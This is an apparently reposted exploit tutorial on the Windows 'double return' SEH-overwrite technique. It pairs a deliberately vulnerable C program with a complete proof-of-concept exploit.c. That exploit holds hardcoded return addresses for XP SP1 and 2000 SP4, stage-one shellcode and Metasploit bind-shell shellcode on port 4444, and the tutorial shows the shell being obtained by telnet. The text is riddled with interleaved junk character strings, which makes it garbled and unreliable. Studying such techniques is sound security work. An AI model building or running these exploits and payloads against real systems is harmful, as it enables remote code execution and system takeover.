The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. 3 m* ^6 ]: c" F6 l$ z6 D( \' f1 c! w9 x9 J$ D
[Buf] <- Shellcode9 r0 X$ J* u# a7 P% Y9 _1 _
[Return Address] <- jmp register (for Windows XP sp1)4 a- C" h P4 @& G. Y% g E) T
[Various Stack Data] <- Junk! D7 f- u6 q+ N6 H& h2 [
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward- a3 ]# A1 R+ p
[SE Handler] <- jmp register (for Win2k sp4) ! y v- s9 P; @[Stage1 Shellcode] <- stage1 shellcode for win2k8 C( P' h6 v# u& Z: z* E9 V
7 D% `; S4 J9 V) E" m* l/ |$ N
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses 4 I% Q6 A) A4 _+ P( M! Q' g3 @3 P8 k9 t9 o8 `
Necessary Tools:4 C. g* `6 o1 x' O- x q; A- K
- OllyDBG! h6 \ ^8 b, G: I
- C/C++ Compiler - J$ w- ^( ?% G/ R! K- p7 w- nasm 5 T p! M) u, x2 G3 U' A- Sac - {0 h, l% j0 M" ?& y& s1 L9 O4 S3 W( H+ W! e; Z& b% z- \
Vulnerable Code:! T% P. Q. s+ {% t
//lamebuf.c' A( s" B* e2 l& x I- F9 v3 p
#include<stdio.h>0 P: y5 l- G u+ _5 B
#include<string.h> {* |/ }: c: T4 W2 @8 F6 s5 M
#include<windows.h>/ n. u9 h4 n' N6 T7 \
int main(int argc,char *argv[]){( O- {6 c* e$ s2 f5 m! M
( j, U5 R$ g" K
char buf[512]; ! u2 r3 Z, q( p6 nchar buf1[1024]; // <- simulate a stack ) ^) j2 f; ^4 ~& x( V//DebugBreak();: n5 y9 z% e7 |7 j
if (argc != 2){ return -1; }- B, r$ f" P9 ~* ?+ j$ k D2 m
i. s3 P# b1 _1 x# Cstrcpy(buf,argv[1]);" a! ?0 Q o3 r
return 0x0; $ v/ [# D& [! @0 X" f} 7 l4 {9 l2 U- c " a% M) v8 \: q9 b8 q8 Z C- oGetting Started:* S$ K3 q# K) g, g2 J& Y* c Q
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:+ M$ i: J# |' s' x# |6 u
2 Y& [1 }4 U' Z- j* b! `6 H; \EAX 00000000& K7 ], w4 L8 [2 ~( }; @
ECX 00321404 ; }) |8 q. J( A2 xEDX 00414141* s: G3 p( L' w, { P* n S3 ~
EBX 7FFDF000 , \* H! h/ M# d- B2 l: ZESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"3 G i4 L `% m, B3 O! J/ H1 Y# n
EBP 414141417 }8 i5 h% W+ W% P# }& N
ESI 77D4595F " V, _/ p1 \. x# B) PEDI 77F59037 ntdll.77F59037 7 {8 N& ~& O$ a2 X, M+ b& B! kEIP 41414141; y o# C3 G8 J$ w& T, R
' k; N" b; j! D% l# k" X: E
Lets take a look at the stack and see what happened to the default exception handler:3 v# W; s# k4 t7 k
0x0012FFB0 41414141 Pointer to next SEH Record 1 y6 i$ z \3 y W8 q% n0x0012FFB4 41414141 SE Handler c0 @6 I4 ]2 t |3 N# m, |3 c 1 o' I, ?4 \1 V5 k1 l5 YWe successfully overwrote the return address and the default exception handler.& g' \1 ?* n) c" ?8 f# e
1 j: Q. V$ A( `: ~
Primary Return Address (Windows XP SP1 EN): 7 F1 y4 n" s; {4 Y% z! NThe first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:2 U1 u+ Z! v: Z
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4" 8 I' ]3 Q v7 u+ i/ U* G8 O6 J& |( L# c
Secondary Return Address (Windows 2000 SP4 EN):5 y- Z) P/ o* C% u, {, d' G
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:3 X1 Z/ B. r# G2 {& K, W
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"0 |5 _/ D5 {6 m( }
4 `4 i! h* n7 A9 o- V
Proof Of Concept: ' C) p$ ]/ J) T- H9 d; P// exploit.c 9 g- z' }/ V; I// Tal zeltzer - [Double Return] //- P' c- D+ v! E: ~8 X# m9 N
3 h3 K# C4 V; t! ]1 d#include<stdio.h>+ y: y- n, c! r. L8 Q7 l
#include<string.h> " [% d5 V! O P: g9 S X: ~7 ]#include<windows.h> 5 v$ i1 S: Q) e5 A& _2 l3 S* h. m! X6 E2 h
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp) ~1 ~% p" p# a
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx 4 x0 r; _3 J8 [6 i$ ^ I) R% z( _3 L g8 E+ c// Stage1 For WinXP Sp1 English ! ~5 X' H" P1 z% ~- ~unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"; ) C7 A' J6 j* b7 {, ]1 A( _9 c
// Stage1 For Win2k Sp4 English. x' u4 K$ z9 E- t# {! e
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"; ; u1 r5 X3 X; c6 X& J% \, k4 C* B5 ]0 E5 d
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com 8 i& t: w c& |& qunsigned char shellcode[] = 5 H% a+ x4 a* [6 F- \"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" ' E# D. ~+ R- W5 r"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" / Y( ^) f. S# s; k9 w5 j- b: M"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" 2 M& w. M6 f/ q"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0". |4 H+ Q" |0 Q
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"9 m6 g/ t3 {4 [1 ?# }$ M4 N# I
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"- D. I+ r1 }3 f* V. a- l0 [
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" . S& T) f4 G* }1 _6 J"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53" 6 [4 }: r4 ~9 e" r1 ?1 V8 i. H"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce" x) l5 O4 O0 ~6 o/ Q/ { j"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"3 R) K* b+ e" N* A- o
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" ; T0 o. }( c& X1 L$ v! C8 X( r"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"2 a7 n( U5 v6 ]1 @' x5 _ _4 w
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6": ~% A, X, z# X7 X/ V& ~3 v
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" 0 l9 J9 p8 x M0 T9 N"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f" . M" `- e" ^4 v. @0 |"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c" % P. o/ D7 e( s. a+ o& M"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" 4 e' I- N3 ?1 r$ E& s+ _( C"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"4 F$ t# E3 U/ W' S6 K1 u
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8" $ v5 n3 Q0 k+ f# {"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"+ w* h& i5 t8 [( u( W
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"4 R* B+ K+ b! N E |
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27" + ?0 O- h0 \- T* v( w' I"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2" ( V7 @' m3 }7 y- H* Q8 c: ^"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"3 g+ {$ B) t, a/ G- D4 A0 u4 c {
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";$ r1 t8 ^/ M4 x8 T. Z$ m q. T
5 {0 A4 O" N) g$ X3 i8 S/ i- _
7 H1 F: g( N+ j8 h$ @0 a- C, f7 rint main(int argc,char *argv[]){7 U/ z' I% Z. Q# { r: K. B
3 ^9 A. L/ y. Z7 @- Lchar *bufExe[3];' W. ], y" j; \9 |1 b. f3 s
char buf[2048]; / A' X# {. ~ _% D9 f. [bufExe[0] = "lamebuf.exe"; ]4 n9 U: ~& u, ^
bufExe[2] = NULL;; u& \7 T# T& ]/ P( w
$ W; B8 M* A( S# \" p& T5 @) b; Jmemset(buf,0x0,sizeof(buf)); $ ?% L$ I* t* D" I% z9 ^memset(buf,0x90,1652);2 k4 w) c- i: q* \% v. p
memcpy(&buf[24],shellcode,sizeof(shellcode)-1); 3 C4 \* f+ b' E1 n; C6 Z# b- y$ y/ R! f/ {7 M4 J
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode o. w9 t4 P9 |" I' G0 ]memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode ' Q: V+ R% C" P; e# ` + A+ {" r$ i6 h! i3 |*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en+ e. ?% ~1 ?& a* T
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code ' {4 f) L& ]: u8 @8 {- \*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en + {4 i- {# M- C) S8 q- Y - a: E5 B# }4 u1 J4 r# p- n1 v- A9 a0 J Z. b$ s/ N
bufExe[1] = buf; ' u7 j. n; } N7 ?! `//Execute the vulnerable application2 j5 }: O/ Y6 l, A
execve(bufExe[0],bufExe,NULL); . r/ Q/ O- S5 w8 F 7 X2 a/ H( o/ M5 O3 |/ |7 C; v" \$ ]0 zreturn 0x0; 5 k* W' E" ^9 o( }: t} % K' E7 R( ]8 o6 J) o3 c4 p ; W" S' J5 ]- i- `. Z M9 JExploit under Windows XP SP1: - S' E! \7 ]% ]9 k( C; UC:\>exploit' ~& h& H9 |; q: c3 c$ b
C:\>' E5 X/ H0 d! Z+ Y
C:\>telnet 127.0.0.1 4444 ) D6 [0 I* q, m- T- L% S2 s ( q" n: Z3 E4 ^Microsoft Windows XP [Version 5.1.2600] 4 e4 v e2 {+ I. p(C) Copyright 1985-2001 Microsoft Corp. " w c" C6 y4 M t5 c) P+ }: L! f# a) g( Z $ T! m4 ?7 Y6 s6 d6 `C:\> 4 z7 J k, d8 V9 Z: L8 p1 \( v0 t) |5 Z* S& V; C
Exploit under Windows 2000 SP4: 9 a; @) |. \3 a$ ?0 I% |C:\>exploit . _$ B8 o; r6 T, w9 zC:\> : s) ^# g) _' g2 g7 LC:\>telnet 127.0.0.1 4444 ( z' C; } D4 b( q, w( F C; B* o% E1 m. E( h
Microsoft Windows 2000 [Version 5.00.2195]4 o5 {5 Y. s9 @# a8 m+ b& ?' K
(C) Copyright 1985-2000 Microsoft Corp.